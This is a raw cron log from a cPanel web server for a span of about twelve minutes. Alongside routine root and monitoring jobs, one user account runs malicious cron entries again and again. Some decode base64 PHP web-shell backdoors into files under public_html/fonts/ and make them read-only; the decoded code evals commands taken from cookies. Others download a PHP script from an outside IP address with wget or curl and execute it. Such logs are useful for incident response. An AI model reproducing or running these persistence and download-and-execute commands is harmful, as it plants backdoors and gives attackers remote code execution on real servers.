Sep  5 18:02:01 ip-184-168-122-23 CROND[28699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:02:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:02:01 ip-184-168-122-23 CROND[28698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:03:01 ip-184-168-122-23 CROND[28797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:03:01 ip-184-168-122-23 CROND[28799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:03:01 ip-184-168-122-23 CROND[28798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:03:01 ip-184-168-122-23 CROND[28800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:04:01 ip-184-168-122-23 CROND[28887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:04:01 ip-184-168-122-23 CROND[28890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:04:01 ip-184-168-122-23 CROND[28888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:04:01 ip-184-168-122-23 CROND[28889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:04:01 ip-184-168-122-23 CROND[28891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:05:01 ip-184-168-122-23 CROND[28980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:05:01 ip-184-168-122-23 CROND[28983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:05:01 ip-184-168-122-23 CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:05:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:05:01 ip-184-168-122-23 CROND[28982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:05:01 ip-184-168-122-23 CROND[28981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:05:01 ip-184-168-122-23 CROND[28986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:06:01 ip-184-168-122-23 CROND[29152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:06:01 ip-184-168-122-23 CROND[29153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:06:01 ip-184-168-122-23 CROND[29154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:06:01 ip-184-168-122-23 CROND[29156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:06:01 ip-184-168-122-23 CROND[29155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:07:01 ip-184-168-122-23 CROND[29275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:07:01 ip-184-168-122-23 CROND[29277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:07:01 ip-184-168-122-23 CROND[29276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:07:01 ip-184-168-122-23 CROND[29278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:08:01 ip-184-168-122-23 CROND[29363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:08:01 ip-184-168-122-23 CROND[29364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:08:01 ip-184-168-122-23 CROND[29365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:08:01 ip-184-168-122-23 CROND[29366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:08:01 ip-184-168-122-23 CROND[29367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:09:01 ip-184-168-122-23 CROND[29477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:09:01 ip-184-168-122-23 CROND[29478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:09:01 ip-184-168-122-23 CROND[29482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:09:01 ip-184-168-122-23 CROND[29481]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 18:09:02 ip-184-168-122-23 CROND[29483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:10:01 ip-184-168-122-23 CROND[29584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:10:01 ip-184-168-122-23 CROND[29587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:10:01 ip-184-168-122-23 CROND[29588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:10:01 ip-184-168-122-23 CROND[29592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:10:01 ip-184-168-122-23 CROND[29594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:10:01 ip-184-168-122-23 CROND[29595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:10:01 ip-184-168-122-23 CROND[29598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:10:01 ip-184-168-122-23 CROND[29597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:11:01 ip-184-168-122-23 CROND[29714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:11:01 ip-184-168-122-23 CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:11:01 ip-184-168-122-23 CROND[29716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:11:01 ip-184-168-122-23 CROND[29717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:12:02 ip-184-168-122-23 CROND[29890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:12:02 ip-184-168-122-23 CROND[29891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:12:02 ip-184-168-122-23 CROND[29893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:12:02 ip-184-168-122-23 CROND[29892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:12:02 ip-184-168-122-23 CROND[29894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:13:01 ip-184-168-122-23 CROND[29987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:13:01 ip-184-168-122-23 CROND[29989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:13:01 ip-184-168-122-23 CROND[29991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:13:01 ip-184-168-122-23 CROND[29992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:14:01 ip-184-168-122-23 CROND[30087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:14:01 ip-184-168-122-23 CROND[30088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:14:01 ip-184-168-122-23 CROND[30089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:14:01 ip-184-168-122-23 CROND[30090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
